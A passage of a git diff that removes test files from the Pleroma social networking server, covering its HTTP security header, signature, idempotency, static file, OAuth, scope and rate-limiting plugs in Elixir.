networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Plugs.HTTPSecurityPlugTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Config - alias Plug.Conn - - describe "http security enabled" do - setup do: clear_config([:http_security, :enabled], true) - - test "it sends CSP headers when enabled", %{conn: conn} do - conn = get(conn, "/api/v1/instance") - - refute Conn.get_resp_header(conn, "x-xss-protection") == [] - refute Conn.get_resp_header(conn, "x-permitted-cross-domain-policies") == [] - refute Conn.get_resp_header(conn, "x-frame-options") == [] - refute Conn.get_resp_header(conn, "x-content-type-options") == [] - refute Conn.get_resp_header(conn, "x-download-options") == [] - refute Conn.get_resp_header(conn, "referrer-policy") == [] - refute Conn.get_resp_header(conn, "content-security-policy") == [] - end - - test "it sends STS headers when enabled", %{conn: conn} do - clear_config([:http_security, :sts], true) - - conn = get(conn, "/api/v1/instance") - - refute Conn.get_resp_header(conn, "strict-transport-security") == [] - refute Conn.get_resp_header(conn, "expect-ct") == [] - end - - test "it does not send STS headers when disabled", %{conn: conn} do - clear_config([:http_security, :sts], false) - - conn = get(conn, "/api/v1/instance") - - assert Conn.get_resp_header(conn, "strict-transport-security") == [] - assert Conn.get_resp_header(conn, "expect-ct") == [] - end - - test "referrer-policy header reflects configured value", %{conn: conn} do - resp = get(conn, "/api/v1/instance") - - assert Conn.get_resp_header(resp, "referrer-policy") == ["same-origin"] - - clear_config([:http_security, :referrer_policy], "no-referrer") - - resp = get(conn, "/api/v1/instance") - - assert Conn.get_resp_header(resp, "referrer-policy") == ["no-referrer"] - end - - test "it sends `report-to` & `report-uri` CSP response headers", %{conn: conn} do - conn = get(conn, "/api/v1/instance") - - [csp] = Conn.get_resp_header(conn, "content-security-policy") - - assert csp =~ ~r|report-uri https://endpoint.com;report-to csp-endpoint;| - - [reply_to] = Conn.get_resp_header(conn, "reply-to") - - assert reply_to == - "{\"endpoints\":[{\"url\":\"https://endpoint.com\"}],\"group\":\"csp-endpoint\",\"max-age\":10886400}" - end - - test "default values for img-src and media-src with disabled media proxy", %{conn: conn} do - conn = get(conn, "/api/v1/instance") - - [csp] = Conn.get_resp_header(conn, "content-security-policy") - assert csp =~ "media-src 'self' https:;" - assert csp =~ "img-src 'self' data: blob: https:;" - end - end - - describe "img-src and media-src" do - setup do - clear_config([:http_security, :enabled], true) - clear_config([:media_proxy, :enabled], true) - clear_config([:media_proxy, :proxy_opts, :redirect_on_failure], false) - end - - test "media_proxy with base_url", %{conn: conn} do - url = "https://example.com" - clear_config([:media_proxy, :base_url], url) - assert_media_img_src(conn, url) - end - - test "upload with base url", %{conn: conn} do - url = "https://example2.com" - clear_config([Pleroma.Upload, :base_url], url) - assert_media_img_src(conn, url) - end - - test "with S3 public endpoint", %{conn: conn} do - url = "https://example3.com" - clear_config([Pleroma.Uploaders.S3, :public_endpoint], url) - assert_media_img_src(conn, url) - end - - test "with captcha endpoint", %{conn: conn} do - clear_config([Pleroma.Captcha.Mock, :endpoint], "https://captcha.com") - assert_media_img_src(conn, "https://captcha.com") - end - - test "with media_proxy whitelist", %{conn: conn} do - clear_config([:media_proxy, :whitelist], ["https://example6.com", "https://example7.com"]) - assert_media_img_src(conn, "https://example7.com https://example6.com") - end - - # TODO: delete after removing support bare domains for media proxy whitelist - test "with media_proxy bare domains whitelist (deprecated)", %{conn: conn} do - clear_config([:media_proxy, :whitelist], ["example4.com", "example5.com"]) - assert_media_img_src(conn, "example5.com example4.com") - end - end - - defp assert_media_img_src(conn, url) do - conn = get(conn, "/api/v1/instance") - [csp] = Conn.get_resp_header(conn, "content-security-policy") - assert csp =~ "media-src 'self' #{url};" - assert csp =~ "img-src 'self' data: blob: #{url};" - end - - test "it does not send CSP headers when disabled", %{conn: conn} do - clear_config([:http_security, :enabled], false) - - conn = get(conn, "/api/v1/instance") - - assert Conn.get_resp_header(conn, "x-xss-protection") == [] - assert Conn.get_resp_header(conn, "x-permitted-cross-domain-policies") == [] - assert Conn.get_resp_header(conn, "x-frame-options") == [] - assert Conn.get_resp_header(conn, "x-content-type-options") == [] - assert Conn.get_resp_header(conn, "x-download-options") == [] - assert Conn.get_resp_header(conn, "referrer-policy") == [] - assert Conn.get_resp_header(conn, "content-security-policy") == [] - end -end diff --git a/test/plugs/http_signature_plug_test.exs b/test/plugs/http_signature_plug_test.exs deleted file mode 100644 index e6cbde803..000000000 --- a/test/plugs/http_signature_plug_test.exs +++ /dev/null @@ -1,89 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Plugs.HTTPSignaturePlugTest do - use Pleroma.Web.ConnCase - alias Pleroma.Web.Plugs.HTTPSignaturePlug - - import Plug.Conn - import Phoenix.Controller, only: [put_format: 2] - import Mock - - test "it call HTTPSignatures to check validity if the actor sighed it" do - params = %{"actor" => "http://mastodon.example.org/users/admin"} - conn = build_conn(:get, "/doesntmattter", params) - - with_mock HTTPSignatures, validate_conn: fn _ -> true end do - conn = - conn - |> put_req_header( - "signature", - "keyId=\"http://mastodon.example.org/users/admin#main-key" - ) - |> put_format("activity+json") - |> HTTPSignaturePlug.call(%{}) - - assert conn.assigns.valid_signature == true - assert conn.halted == false - assert called(HTTPSignatures.validate_conn(:_)) - end - end - - describe "requires a signature when `authorized_fetch_mode` is enabled" do - setup do - Pleroma.Config.put([:activitypub, :authorized_fetch_mode], true) - - on_exit(fn -> - Pleroma.Config.put([:activitypub, :authorized_fetch_mode], false) - end) - - params = %{"actor" => "http://mastodon.example.org/users/admin"} - conn = build_conn(:get, "/doesntmattter", params) |> put_format("activity+json") - - [conn: conn] - end - - test "when signature header is present", %{conn: conn} do - with_mock HTTPSignatures, validate_conn: fn _ -> false end do - conn = - conn - |> put_req_header( - "signature", - "keyId=\"http://mastodon.example.org/users/admin#main-key" - ) - |> HTTPSignaturePlug.call(%{}) - - assert conn.assigns.valid_signature == false - assert conn.halted == true - assert conn.status == 401 - assert conn.state == :sent - assert conn.resp_body == "Request not signed" - assert called(HTTPSignatures.validate_conn(:_)) - end - - with_mock HTTPSignatures, validate_conn: fn _ -> true end do - conn = - conn - |> put_req_header( - "signature", - "keyId=\"http://mastodon.example.org/users/admin#main-key" - ) - |> HTTPSignaturePlug.call(%{}) - - assert conn.assigns.valid_signature == true - assert conn.halted == false - assert called(HTTPSignatures.validate_conn(:_)) - end - end - - test "halts the connection when `signature` header is not present", %{conn: conn} do - conn = HTTPSignaturePlug.call(conn, %{}) - assert conn.assigns[:valid_signature] == nil - assert conn.halted == true - assert conn.status == 401 - assert conn.state == :sent - assert conn.resp_body == "Request not signed" - end - end -end diff --git a/test/plugs/idempotency_plug_test.exs b/test/plugs/idempotency_plug_test.exs deleted file mode 100644 index 21fa0fbcf..000000000 --- a/test/plugs/idempotency_plug_test.exs +++ /dev/null @@ -1,110 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.IdempotencyPlugTest do - use ExUnit.Case, async: true - use Plug.Test - - alias Pleroma.Plugs.IdempotencyPlug - alias Plug.Conn - - test "returns result from cache" do - key = "test1" - orig_request_id = "test1" - second_request_id = "test2" - body = "testing" - status = 200 - - :post - |> conn("/cofe") - |> put_req_header("idempotency-key", key) - |> Conn.put_resp_header("x-request-id", orig_request_id) - |> Conn.put_resp_content_type("application/json") - |> IdempotencyPlug.call([]) - |> Conn.send_resp(status, body) - - conn = - :post - |> conn("/cofe") - |> put_req_header("idempotency-key", key) - |> Conn.put_resp_header("x-request-id", second_request_id) - |> Conn.put_resp_content_type("application/json") - |> IdempotencyPlug.call([]) - - assert_raise Conn.AlreadySentError, fn -> - Conn.send_resp(conn, :im_a_teapot, "no cofe") - end - - assert conn.resp_body == body - assert conn.status == status - - assert [^second_request_id] = Conn.get_resp_header(conn, "x-request-id") - assert [^orig_request_id] = Conn.get_resp_header(conn, "x-original-request-id") - assert [^key] = Conn.get_resp_header(conn, "idempotency-key") - assert ["true"] = Conn.get_resp_header(conn, "idempotent-replayed") - assert ["application/json; charset=utf-8"] = Conn.get_resp_header(conn, "content-type") - end - - test "pass conn downstream if the cache not found" do - key = "test2" - orig_request_id = "test3" - body = "testing" - status = 200 - - conn = - :post - |> conn("/cofe") - |> put_req_header("idempotency-key", key) - |> Conn.put_resp_header("x-request-id", orig_request_id) - |> Conn.put_resp_content_type("application/json") - |> IdempotencyPlug.call([]) - |> Conn.send_resp(status, body) - - assert conn.resp_body == body - assert conn.status == status - - assert [] = Conn.get_resp_header(conn, "idempotent-replayed") - assert [^key] = Conn.get_resp_header(conn, "idempotency-key") - end - - test "passes conn downstream if idempotency is not present in headers" do - orig_request_id = "test4" - body = "testing" - status = 200 - - conn = - :post - |> conn("/cofe") - |> Conn.put_resp_header("x-request-id", orig_request_id) - |> Conn.put_resp_content_type("application/json") - |> IdempotencyPlug.call([]) - |> Conn.send_resp(status, body) - - assert [] = Conn.get_resp_header(conn, "idempotency-key") - end - - test "doesn't work with GET/DELETE" do - key = "test3" - body = "testing" - status = 200 - - conn = - :get - |> conn("/cofe") - |> put_req_header("idempotency-key", key) - |> IdempotencyPlug.call([]) - |> Conn.send_resp(status, body) - - assert [] = Conn.get_resp_header(conn, "idempotency-key") - - conn = - :delete - |> conn("/cofe") - |> put_req_header("idempotency-key", key) - |> IdempotencyPlug.call([]) - |> Conn.send_resp(status, body) - - assert [] = Conn.get_resp_header(conn, "idempotency-key") - end -end diff --git a/test/plugs/instance_static_test.exs b/test/plugs/instance_static_test.exs deleted file mode 100644 index d42ba817e..000000000 --- a/test/plugs/instance_static_test.exs +++ /dev/null @@ -1,65 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.InstanceStaticPlugTest do - use Pleroma.Web.ConnCase - - @dir "test/tmp/instance_static" - - setup do - File.mkdir_p!(@dir) - on_exit(fn -> File.rm_rf(@dir) end) - end - - setup do: clear_config([:instance, :static_dir], @dir) - - test "overrides index" do - bundled_index = get(build_conn(), "/") - refute html_response(bundled_index, 200) == "hello world" - - File.write!(@dir <> "/index.html", "hello world") - - index = get(build_conn(), "/") - assert html_response(index, 200) == "hello world" - end - - test "also overrides frontend files", %{conn: conn} do - name = "pelmora" - ref = "uguu" - - clear_config([:frontends, :primary], %{"name" => name, "ref" => ref}) - - bundled_index = get(conn, "/") - refute html_response(bundled_index, 200) == "from frontend plug" - - path = "#{@dir}/frontends/#{name}/#{ref}" - File.mkdir_p!(path) - File.write!("#{path}/index.html", "from frontend plug") - - index = get(conn, "/") - assert html_response(index, 200) == "from frontend plug" - - File.write!(@dir <> "/index.html", "from instance static") - - index = get(conn, "/") - assert html_response(index, 200) == "from instance static" - end - - test "overrides any file in static/static" do - bundled_index = get(build_conn(), "/static/terms-of-service.html") - - assert html_response(bundled_index, 200) == - File.read!("priv/static/static/terms-of-service.html") - - File.mkdir!(@dir <> "/static") - File.write!(@dir <> "/static/terms-of-service.html", "plz be kind") - - index = get(build_conn(), "/static/terms-of-service.html") - assert html_response(index, 200) == "plz be kind" - - File.write!(@dir <> "/static/kaniini.html", "<h1>rabbit hugs as a service</h1>") - index = get(build_conn(), "/static/kaniini.html") - assert html_response(index, 200) == "<h1>rabbit hugs as a service</h1>" - end -end diff --git a/test/plugs/legacy_authentication_plug_test.exs b/test/plugs/legacy_authentication_plug_test.exs deleted file mode 100644 index 3b8c07627..000000000 --- a/test/plugs/legacy_authentication_plug_test.exs +++ /dev/null @@ -1,82 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.LegacyAuthenticationPlugTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - alias Pleroma.Plugs.LegacyAuthenticationPlug - alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.PlugHelper - alias Pleroma.User - - setup do - user = - insert(:user, - password: "password", - password_hash: - "$6$9psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1" - ) - - %{user: user} - end - - test "it does nothing if a user is assigned", %{conn: conn, user: user} do - conn = - conn - |> assign(:auth_credentials, %{username: "dude", password: "password"}) - |> assign(:auth_user, user) - |> assign(:user, %User{}) - - ret_conn = - conn - |> LegacyAuthenticationPlug.call(%{}) - - assert ret_conn == conn - end - - @tag :skip_on_mac - test "if `auth_user` is present and password is correct, " <> - "it authenticates the user, resets the password, marks OAuthScopesPlug as skipped", - %{ - conn: conn, - user: user - } do - conn = - conn - |> assign(:auth_credentials, %{username: "dude", password: "password"}) - |> assign(:auth_user, user) - - conn = LegacyAuthenticationPlug.call(conn, %{}) - - assert conn.assigns.user.id == user.id - assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) - end - - @tag :skip_on_mac - test "it does nothing if the password is wrong", %{ - conn: conn, - user: user - } do - conn = - conn - |> assign(:auth_credentials, %{username: "dude", password: "wrong_password"}) - |> assign(:auth_user, user) - - ret_conn = - conn - |> LegacyAuthenticationPlug.call(%{}) - - assert conn == ret_conn - end - - test "with no credentials or user it does nothing", %{conn: conn} do - ret_conn = - conn - |> LegacyAuthenticationPlug.call(%{}) - - assert ret_conn == conn - end -end diff --git a/test/plugs/mapped_identity_to_signature_plug_test.exs b/test/plugs/mapped_identity_to_signature_plug_test.exs deleted file mode 100644 index 0ad3c2929..000000000 --- a/test/plugs/mapped_identity_to_signature_plug_test.exs +++ /dev/null @@ -1,59 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Plugs.MappedSignatureToIdentityPlugTest do - use Pleroma.Web.ConnCase - alias Pleroma.Web.Plugs.MappedSignatureToIdentityPlug - - import Tesla.Mock - import Plug.Conn - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - defp set_signature(conn, key_id) do - conn - |> put_req_header("signature", "keyId=\"#{key_id}\"") - |> assign(:valid_signature, true) - end - - test "it successfully maps a valid identity with a valid signature" do - conn = - build_conn(:get, "/doesntmattter") - |> set_signature("http://mastodon.example.org/users/admin") - |> MappedSignatureToIdentityPlug.call(%{}) - - refute is_nil(conn.assigns.user) - end - - test "it successfully maps a valid identity with a valid signature with payload" do - conn = - build_conn(:post, "/doesntmattter", %{"actor" => "http://mastodon.example.org/users/admin"}) - |> set_signature("http://mastodon.example.org/users/admin") - |> MappedSignatureToIdentityPlug.call(%{}) - - refute is_nil(conn.assigns.user) - end - - test "it considers a mapped identity to be invalid when it mismatches a payload" do - conn = - build_conn(:post, "/doesntmattter", %{"actor" => "http://mastodon.example.org/users/admin"}) - |> set_signature("https://niu.moe/users/rye") - |> MappedSignatureToIdentityPlug.call(%{}) - - assert %{valid_signature: false} == conn.assigns - end - - @tag skip: "known breakage; the testsuite presently depends on it" - test "it considers a mapped identity to be invalid when the identity cannot be found" do - conn = - build_conn(:post, "/doesntmattter", %{"actor" => "http://mastodon.example.org/users/admin"}) - |> set_signature("http://niu.moe/users/rye") - |> MappedSignatureToIdentityPlug.call(%{}) - - assert %{valid_signature: false} == conn.assigns - end -end diff --git a/test/plugs/oauth_plug_test.exs b/test/plugs/oauth_plug_test.exs deleted file mode 100644 index 9d39d3153..000000000 --- a/test/plugs/oauth_plug_test.exs +++ /dev/null @@ -1,80 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.OAuthPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.OAuthPlug - import Pleroma.Factory - - @session_opts [ - store: :cookie, - key: "_test", - signing_salt: "cooldude" - ] - - setup %{conn: conn} do - user = insert(:user) - {:ok, %{token: token}} = Pleroma.Web.OAuth.Token.create(insert(:oauth_app), user) - %{user: user, token: token, conn: conn} - end - - test "with valid token(uppercase), it assigns the user", %{conn: conn} = opts do - conn = - conn - |> put_req_header("authorization", "BEARER #{opts[:token]}") - |> OAuthPlug.call(%{}) - - assert conn.assigns[:user] == opts[:user] - end - - test "with valid token(downcase), it assigns the user", %{conn: conn} = opts do - conn = - conn - |> put_req_header("authorization", "bearer #{opts[:token]}") - |> OAuthPlug.call(%{}) - - assert conn.assigns[:user] == opts[:user] - end - - test "with valid token(downcase) in url parameters, it assigns the user", opts do - conn = - :get - |> build_conn("/?access_token=#{opts[:token]}") - |> put_req_header("content-type", "application/json") - |> fetch_query_params() - |> OAuthPlug.call(%{}) - - assert conn.assigns[:user] == opts[:user] - end - - test "with valid token(downcase) in body parameters, it assigns the user", opts do - conn = - :post - |> build_conn("/api/v1/statuses", access_token: opts[:token], status: "test") - |> OAuthPlug.call(%{}) - - assert conn.assigns[:user] == opts[:user] - end - - test "with invalid token, it not assigns the user", %{conn: conn} do - conn = - conn - |> put_req_header("authorization", "bearer TTTTT") - |> OAuthPlug.call(%{}) - - refute conn.assigns[:user] - end - - test "when token is missed but token in session, it assigns the user", %{conn: conn} = opts do - conn = - conn - |> Plug.Session.call(Plug.Session.init(@session_opts)) - |> fetch_session() - |> put_session(:oauth_token, opts[:token]) - |> OAuthPlug.call(%{}) - - assert conn.assigns[:user] == opts[:user] - end -end diff --git a/test/plugs/oauth_scopes_plug_test.exs b/test/plugs/oauth_scopes_plug_test.exs deleted file mode 100644 index 334316043..000000000 --- a/test/plugs/oauth_scopes_plug_test.exs +++ /dev/null @@ -1,210 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.OAuthScopesPlugTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Repo - - import Mock - import Pleroma.Factory - - test "is not performed if marked as skipped", %{conn: conn} do - with_mock OAuthScopesPlug, [:passthrough], perform: &passthrough([&1, &2]) do - conn = - conn - |> OAuthScopesPlug.skip_plug() - |> OAuthScopesPlug.call(%{scopes: ["random_scope"]}) - - refute called(OAuthScopesPlug.perform(:_, :_)) - refute conn.halted - end - end - - test "if `token.scopes` fulfills specified 'any of' conditions, " <> - "proceeds with no op", - %{conn: conn} do - token = insert(:oauth_token, scopes: ["read", "write"]) |> Repo.preload(:user) - - conn = - conn - |> assign(:user, token.user) - |> assign(:token, token) - |> OAuthScopesPlug.call(%{scopes: ["read"]}) - - refute conn.halted - assert conn.assigns[:user] - end - - test "if `token.scopes` fulfills specified 'all of' conditions, " <> - "proceeds with no op", - %{conn: conn} do - token = insert(:oauth_token, scopes: ["scope1", "scope2", "scope3"]) |> Repo.preload(:user) - - conn = - conn - |> assign(:user, token.user) - |> assign(:token, token) - |> OAuthScopesPlug.call(%{scopes: ["scope2", "scope3"], op: :&}) - - refute conn.halted - assert conn.assigns[:user] - end - - describe "with `fallback: :proceed_unauthenticated` option, " do - test "if `token.scopes` doesn't fulfill specified conditions, " <> - "clears :user and :token assigns", - %{conn: conn} do - user = insert(:user) - token1 = insert(:oauth_token, scopes: ["read", "write"], user: user) - - for token <- [token1, nil], op <- [:|, :&] do - ret_conn = - conn - |> assign(:user, user) - |> assign(:token, token) - |> OAuthScopesPlug.call(%{ - scopes: ["follow"], - op: op, - fallback: :proceed_unauthenticated - }) - - refute ret_conn.halted - refute ret_conn.assigns[:user] - refute ret_conn.assigns[:token] - end - end - end - - describe "without :fallback option, " do - test "if `token.scopes` does not fulfill specified 'any of' conditions, " <> - "returns 403 and halts", - %{conn: conn} do - for token <- [insert(:oauth_token, scopes: ["read", "write"]), nil] do - any_of_scopes = ["follow", "push"] - - ret_conn = - conn - |> assign(:token, token) - |> OAuthScopesPlug.call(%{scopes: any_of_scopes}) - - assert ret_conn.halted - assert 403 == ret_conn.status - - expected_error = "Insufficient permissions: #{Enum.join(any_of_scopes, " | ")}." - assert Jason.encode!(%{error: expected_error}) == ret_conn.resp_body - end - end - - test "if `token.scopes` does not fulfill specified 'all of' conditions, " <> - "returns 403 and halts", - %{conn: conn} do - for token <- [insert(:oauth_token, scopes: ["read", "write"]), nil] do - token_scopes = (token && token.scopes) || [] - all_of_scopes = ["write", "follow"] - - conn = - conn - |> assign(:token, token) - |> OAuthScopesPlug.call(%{scopes: all_of_scopes, op: :&}) - - assert conn.halted - assert 403 == conn.status - - expected_error = - "Insufficient permissions: #{Enum.join(all_of_scopes -- token_scopes, " & ")}." - - assert Jason.encode!(%{error: expected_error}) == conn.resp_body - end - end - end - - describe "with hierarchical scopes, " do - test "if `token.scopes` fulfills specified 'any of' conditions, " <> - "proceeds with no op", - %{conn: conn} do - token = insert(:oauth_token, scopes: ["read", "write"]) |> Repo.preload(:user) - - conn = - conn - |> assign(:user, token.user) - |> assign(:token, token) - |> OAuthScopesPlug.call(%{scopes: ["read:something"]}) - - refute conn.halted - assert conn.assigns[:user] - end - - test "if `token.scopes` fulfills specified 'all of' conditions, " <> - "proceeds with no op", - %{conn: conn} do - token = insert(:oauth_token, scopes: ["scope1", "scope2", "scope3"]) |> Repo.preload(:user) - - conn = - conn - |> assign(:user, token.user) - |> assign(:token, token) - |> OAuthScopesPlug.call(%{scopes: ["scope1:subscope", "scope2:subscope"], op: :&}) - - refute conn.halted - assert conn.assigns[:user] - end - end - - describe "filter_descendants/2" do - test "filters scopes which directly match or are ancestors of supported scopes" do - f = fn scopes, supported_scopes -> - OAuthScopesPlug.filter_descendants(scopes, supported_scopes) - end - - assert f.(["read", "follow"], ["write", "read"]) == ["read"] - - assert f.(["read", "write:something", "follow"], ["write", "read"]) == - ["read", "write:something"] - - assert f.(["admin:read"], ["write", "read"]) == [] - - assert f.(["admin:read"], ["write", "admin"]) == ["admin:read"] - end - end - - describe "transform_scopes/2" do - setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage]) - - setup do - {:ok, %{f: &OAuthScopesPlug.transform_scopes/2}} - end - - test "with :admin option, prefixes all requested scopes with `admin:` " <> - "and [optionally] keeps only prefixed scopes, " <> - "depending on `[:auth, :enforce_oauth_admin_scope_usage]` setting", - %{f: f} do - Pleroma.Config.put([:auth, :enforce_oauth_admin_scope_usage], false) - - assert f.(["read"], %{admin: true}) == ["admin:read", "read"] - - assert f.(["read", "write"], %{admin: true}) == [ - "admin:read", - "read", - "admin:write", - "write" - ] - - Pleroma.Config.put([:auth, :enforce_oauth_admin_scope_usage], true) - - assert f.(["read:accounts"], %{admin: true}) == ["admin:read:accounts"] - - assert f.(["read", "write:reports"], %{admin: true}) == [ - "admin:read", - "admin:write:reports" - ] - end - - test "with no supported options, returns unmodified scopes", %{f: f} do - assert f.(["read"], %{}) == ["read"] - assert f.(["read", "write"], %{}) == ["read", "write"] - end - end -end diff --git a/test/plugs/rate_limiter_test.exs b/test/plugs/rate_limiter_test.exs deleted file mode 100644 index 4d3d694f4..000000000 --- a/test/plugs/rate_limiter_test.exs +++ /dev/null @@ -1,263 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.RateLimiterTest do - use Pleroma.Web.ConnCase - - alias Phoenix.ConnTest - alias Pleroma.Config - alias Pleroma.Plugs.RateLimiter - alias Plug.Conn - - import Pleroma.Factory - import Pleroma.Tests.Helpers, only: [clear_config: 1, clear_config: 2] - - # Note: each example must work with separate buckets in order to prevent concurrency issues - setup do: clear_config([Pleroma.Web.Endpoint, :http, :ip]) - setup do: clear_config(:rate_limit) - - describe "config" do - @limiter_name :test_init - setup do: clear_config([Pleroma.Plugs.RemoteIp, :enabled]) - - test "config is required for plug to work" do - Config.put([:rate_limit, @limiter_name], {1, 1}) - Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) - - assert %{limits: {1, 1}, name: :test_init, opts: [name: :test_init]} == - [name: @limiter_name] - |> RateLimiter.init() - |> RateLimiter.action_settings() - - assert nil == - [name: :nonexisting_limiter] - |> RateLimiter.init() - |> RateLimiter.action_settings() - end - end - - test "it is disabled if it remote ip plug is enabled but no remote ip is found" do - assert RateLimiter.disabled?(Conn.assign(build_conn(), :remote_ip_found, false)) - end - - test "it is enabled if remote ip found" do - refute RateLimiter.disabled?(Conn.assign(build_conn(), :remote_ip_found, true)) - end - - test "it is enabled if remote_ip_found flag doesn't exist" do - refute RateLimiter.disabled?(build_conn()) - end - - test "it restricts based on config values" do - limiter_name = :test_plug_opts - scale = 80 - limit = 5 - - Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) - Config.put([:rate_limit, limiter_name], {scale, limit}) - - plug_opts = RateLimiter.init(name: limiter_name) - conn = build_conn(:get, "/") - - for i <- 1..5 do - conn = RateLimiter.call(conn, plug_opts) - assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) - Process.sleep(10) - end - - conn = RateLimiter.call(conn, plug_opts) - assert %{"error" => "Throttled"} = ConnTest.json_response(conn, :too_many_requests) - assert conn.halted - - Process.sleep(50) - - conn = build_conn(:get, "/") - - conn = RateLimiter.call(conn, plug_opts) - assert {1, 4} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) - - refute conn.status == Conn.Status.code(:too_many_requests) - refute conn.resp_body - refute conn.halted - end - - describe "options" do - test "`bucket_name` option overrides default bucket name" do - limiter_name = :test_bucket_name - - Config.put([:rate_limit, limiter_name], {1000, 5}) - Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) - - base_bucket_name = "#{limiter_name}:group1" - plug_opts = RateLimiter.init(name: limiter_name, bucket_name: base_bucket_name) - - conn = build_conn(:get, "/") - - RateLimiter.call(conn, plug_opts) - assert {1, 4} = RateLimiter.inspect_bucket(conn, base_bucket_name, plug_opts) - assert {:error, :not_found} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) - end - - test "`params` option allows different queries to be tracked independently" do - limiter_name = :test_params - Config.put([:rate_limit, limiter_name], {1000, 5}) - Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) - - plug_opts = RateLimiter.init(name: limiter_name, params: ["id"]) - - conn = build_conn(:get, "/?id=1") - conn = Conn.fetch_query_params(conn) - conn_2 = build_conn(:get, "/?id=2") - - RateLimiter.call(conn, plug_opts) - assert {1, 4} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) - assert {0, 5} = RateLimiter.inspect_bucket(conn_2, limiter_name, plug_opts) - end - - test "it supports combination of options modifying bucket name" do - limiter_name = :test_options_combo - Config.put([:rate_limit, limiter_name], {1000, 5}) - Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) - - base_bucket_name = "#{limiter_name}:group1" - - plug_opts = - RateLimiter.init(name: limiter_name, bucket_name: base_bucket_name, params: ["id"]) - - id = "100" - - conn = build_conn(:get, "/?id=#{id}") - conn = Conn.fetch_query_params(conn) - conn_2 = build_conn(:get, "/?id=#{101}") - - RateLimiter.call(conn, plug_opts) - assert {1, 4} = RateLimiter.inspect_bucket(conn, base_bucket_name, plug_opts) - assert {0, 5} = RateLimiter.inspect_bucket(conn_2, base_bucket_name, plug_opts) - end - end - - describe "unauthenticated users" do - test "are restricted based on remote IP" do - limiter_name = :test_unauthenticated - Config.put([:rate_limit, limiter_name], [{1000, 5}, {1, 10}]) - Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) - - plug_opts = RateLimiter.init(name: limiter_name) - - conn = %{build_conn(:get, "/") | remote_ip: {127, 0, 0, 2}} - conn_2 = %{build_conn(:get, "/") | remote_ip: {127, 0, 0, 3}} - - for i <- 1..5 do - conn = RateLimiter.call(conn, plug_opts) - assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) - refute conn.halted - end - - conn = RateLimiter.call(conn, plug_opts) - - assert %{"error" => "Throttled"} = ConnTest.json_response(conn, :too_many_requests) - assert conn.halted - - conn_2 = RateLimiter.call(conn_2, plug_opts) - assert {1, 4} = RateLimiter.inspect_bucket(conn_2, limiter_name, plug_opts) - - refute conn_2.status == Conn.Status.code(:too_many_requests) - refute conn_2.resp_body - refute conn_2.halted - end - end - - describe "authenticated users" do - setup do - Ecto.Adapters.SQL.Sandbox.checkout(Pleroma.Repo) - - :ok - end - - test "can have limits separate from unauthenticated connections" do - limiter_name = :test_authenticated1 - - scale = 50 - limit = 5 - Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) - Config.put([:rate_limit, limiter_name], [{1000, 1}, {scale, limit}]) - - plug_opts = RateLimiter.init(name: limiter_name) - - user = insert(:user) - conn = build_conn(:get, "/") |> assign(:user, user) - - for i <- 1..5 do - conn = RateLimiter.call(conn, plug_opts) - assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) - refute conn.halted - end - - conn = RateLimiter.call(conn, plug_opts) - - assert %{"error" => "Throttled"} = ConnTest.json_response(conn, :too_many_requests) - assert conn.halted - end - - test "different users are counted independently" do - limiter_name = :test_authenticated2 - Config.put([:rate_limit, limiter_name], [{1, 10}, {1000, 5}]) - Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 